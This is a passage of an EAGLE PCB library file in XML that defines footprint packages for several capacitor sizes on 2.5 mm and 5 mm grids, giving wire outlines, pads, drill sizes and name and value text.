width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0.762\" x2=\"-0.254\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.381\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"-0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.286\" y=\"3.048\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.032\" y=\"-2.413\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C025_050-024X070\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 2.5 mm + 5 mm, outline 2.4 x 7 mm</description>\n<wire x1=\"-2.159\" y1=\"-0.635\" x2=\"-2.159\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.159\" y1=\"0.635\" x2=\"-1.651\" y2=\"1.143\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.159\" y1=\"-0.635\" x2=\"-1.651\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"1.651\" y1=\"1.143\" x2=\"-1.651\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"-0.635\" x2=\"2.159\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.651\" y1=\"-1.143\" x2=\"-1.651\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.651\" y1=\"1.143\" x2=\"2.159\" y2=\"0.635\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-4.191\" y1=\"-1.143\" x2=\"-3.9624\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"1.143\" x2=\"-3.9624\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.699\" y1=\"-0.635\" x2=\"-4.191\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"1.651\" y1=\"-1.143\" x2=\"2.159\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-4.699\" y1=\"0.635\" x2=\"-4.191\" y2=\"1.143\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-4.699\" y1=\"-0.635\" x2=\"-4.699\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"1.143\" x2=\"-2.5654\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"-1.143\" x2=\"-2.5654\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0.762\" x2=\"-0.3048\" y2=\"-0.762\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0.762\" x2=\"0.3302\" y2=\"-0.762\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"0.3302\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-0.3048\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"3\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.81\" y=\"1.397\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.81\" y=\"-2.667\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C025_050-025X075\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 2.5 + 5 mm, outline 2.5 x 7.5 mm</description>\n<wire x1=\"-2.159\" y1=\"1.27\" x2=\"2.159\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"-1.27\" x2=\"-2.159\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.016\" x2=\"-2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"1.27\" x2=\"2.413\" y2=\"1.016\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.413\" y1=\"1.016\" x2=\"-2.159\" y2=\"1.27\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"2.159\" y1=\"-1.27\" x2=\"2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-2.413\" y1=\"-1.016\" x2=\"-2.159\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.254\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0.762\" x2=\"-0.254\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.381\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"-0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.953\" y1=\"1.016\" x2=\"4.953\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"1.27\" x2=\"4.953\" y2=\"1.016\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.699\" y1=\"-1.27\" x2=\"4.953\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.794\" y1=\"1.27\" x2=\"4.699\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"-1.27\" x2=\"2.794\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"2.413\" y2=\"0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-0.762\" x2=\"2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"0.254\" x2=\"2.413\" y2=\"-0.254\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"0\" x2=\"2.286\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.286\" y1=\"0\" x2=\"2.794\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.794\" y1=\"0\" x2=\"3.302\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.762\" y1=\"0\" x2=\"0.381\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"3\" x=\"3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.159\" y=\"1.651\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.159\" y=\"-2.794\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C025_050-035X075\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 2.5 + 5 mm, outline 3.5 x 7.5 mm</description>\n<wire x1=\"-2.159\" y1=\"1.778\" x2=\"2.159\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"-1.778\" x2=\"-2.159\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.524\" x2=\"-2.413\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"1.778\" x2=\"2.413\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.413\" y1=\"1.524\" x2=\"-2.159\" y2=\"1.778\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"2.159\" y1=\"-1.778\" x2=\"2.413\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-2.413\" y1=\"-1.524\" x2=\"-2.159\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.254\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0.762\" x2=\"-0.254\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.381\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"-0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.953\" y1=\"1.524\" x2=\"4.953\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"1.778\" x2=\"4.953\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.699\" y1=\"-1.778\" x2=\"4.953\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.794\" y1=\"1.778\" x2=\"4.699\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"-1.778\" x2=\"2.794\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.524\" x2=\"2.413\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"2.413\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"0.508\" x2=\"2.413\" y2=\"-0.508\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.286\" y1=\"0\" x2=\"2.794\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.794\" y1=\"0\" x2=\"3.302\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.286\" y1=\"0\" x2=\"1.778\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"3\" x=\"3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.286\" y=\"2.159\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-3.302\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C025_050-045X075\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 2.5 + 5 mm, outline 4.5 x 7.5 mm</description>\n<wire x1=\"-2.159\" y1=\"2.286\" x2=\"2.159\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"-2.286\" x2=\"-2.159\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"2.032\" x2=\"-2.413\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"2.286\" x2=\"2.413\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.413\" y1=\"2.032\" x2=\"-2.159\" y2=\"2.286\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"2.159\" y1=\"-2.286\" x2=\"2.413\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-2.413\" y1=\"-2.032\" x2=\"-2.159\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.254\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0.762\" x2=\"-0.254\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.381\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"-0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.953\" y1=\"2.032\" x2=\"4.953\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"2.286\" x2=\"4.953\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.699\" y1=\"-2.286\" x2=\"4.953\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.794\" y1=\"2.286\" x2=\"4.699\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"-2.286\" x2=\"2.794\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"2.032\" x2=\"2.413\" y2=\"1.397\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.397\" x2=\"2.413\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"0.762\" x2=\"2.413\" y2=\"-0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.286\" y1=\"0\" x2=\"2.794\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.794\" y1=\"0\" x2=\"3.302\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.286\" y1=\"0\" x2=\"1.778\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"3\" x=\"3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.286\" y=\"2.667\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-3.81\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C025_050-055X075\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 2.5 + 5 mm, outline 5.5 x 7.5 mm</description>\n<wire x1=\"-2.159\" y1=\"2.794\" x2=\"2.159\" y2=\"2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"-2.794\" x2=\"-2.159\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"2.54\" x2=\"-2.413\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"2.794\" x2=\"2.413\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.413\" y1=\"2.54\" x2=\"-2.159\" y2=\"2.794\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"2.159\" y1=\"-2.794\" x2=\"2.413\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-2.413\" y1=\"-2.54\" x2=\"-2.159\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.254\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0.762\" x2=\"-0.254\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.381\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"-0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.953\" y1=\"2.54\" x2=\"4.953\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"2.794\" x2=\"4.953\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.699\" y1=\"-2.794\" x2=\"4.953\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.794\" y1=\"2.794\" x2=\"4.699\" y2=\"2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"-2.794\" x2=\"2.794\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"2.54\" x2=\"2.413\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-2.032\" x2=\"2.413\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"0.762\" x2=\"2.413\" y2=\"-0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"0\" x2=\"2.286\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.286\" y1=\"0\" x2=\"2.794\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.794\" y1=\"0\" x2=\"3.302\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"3\" x=\"3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.286\" y=\"3.175\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.032\" y=\"-2.286\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C050-024X044\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 5 mm, outline 2.4 x 4.4 mm</description>\n<wire x1=\"-2.159\" y1=\"-0.635\" x2=\"-2.159\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.159\" y1=\"0.635\" x2=\"-1.651\" y2=\"1.143\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.159\" y1=\"-0.635\" x2=\"-1.651\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"1.651\" y1=\"1.143\" x2=\"-1.651\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"-0.635\" x2=\"2.159\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.651\" y1=\"-1.143\" x2=\"-1.651\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.651\" y1=\"1.143\" x2=\"2.159\" y2=\"0.635\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"1.651\" y1=\"-1.143\" x2=\"2.159\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-0.3048\" y1=\"0.762\" x2=\"-0.3048\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-0.3048\" y2=\"-0.762\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0.762\" x2=\"0.3302\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"0.3302\" y2=\"-0.762\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"0.3302\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-0.3048\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.159\" y=\"1.397\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.159\" y=\"-2.667\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"2.159\" y1=\"-0.381\" x2=\"2.54\" y2=\"0.381\" layer=\"51\"/>\n<rectangle x1=\"-2.54\" y1=\"-0.381\" x2=\"-2.159\" y2=\"0.381\" layer=\"51\"/>\n</package>\n<package name=\"C050-025X075\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 5 mm, outline 2.5 x 7.5 mm</description>\n<wire x1=\"-0.3048\" y1=\"0.635\" x2=\"-0.3048\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-0.3048\" y2=\"-0.635\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0.635\" x2=\"0.3302\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"0.3302\" y2=\"-0.635\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.683\" y1=\"1.016\" x2=\"-3.683\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"-1.27\" x2=\"3.429\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.683\" y1=\"-1.016\" x2=\"3.683\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"1.27\" x2=\"-3.429\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"1.27\" x2=\"3.683\" y2=\"1.016\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"3.429\" y1=\"-1.27\" x2=\"3.683\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"-1.016\" x2=\"-3.429\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"1.016\" x2=\"-3.429\" y2=\"1.27\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.429\" y=\"1.651\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.429\" y=\"-2.794\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C050-045X075\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 5 mm, outline 4.5 x 7.5 mm</description>\n<wire x1=\"-0.3048\" y1=\"0.635\" x2=\"-0.3048\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-0.3048\" y2=\"-0.635\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0.635\" x2=\"0.3302\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"0.3302\" y2=\"-0.635\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.683\" y1=\"2.032\" x2=\"-3.683\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"-2.286\" x2=\"3.429\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.683\" y1=\"-2.032\" x2=\"3.683\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"2.286\" x2=\"-3.429\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"2.286\" x2=\"3.683\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"3.429\" y1=\"-2.286\" x2=\"3.683\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"-2.032\" x2=\"-3.429\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"2.032\" x2=\"-3.429\" y2=\"2.286\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.556\" y=\"2.667\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.556\" y=\"-3.81\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C050-030X075\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 5 mm, outline 3 x 7.5 mm</description>\n<wire x1=\"-0.3048\" y1=\"0.635\" x2=\"-0.3048\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-0.3048\" y2=\"-0.635\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0.635\" x2=\"0.3302\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"0.3302\" y2=\"-0.635\" width=\"0.3048\" layer=\"21\"/>\n<wire 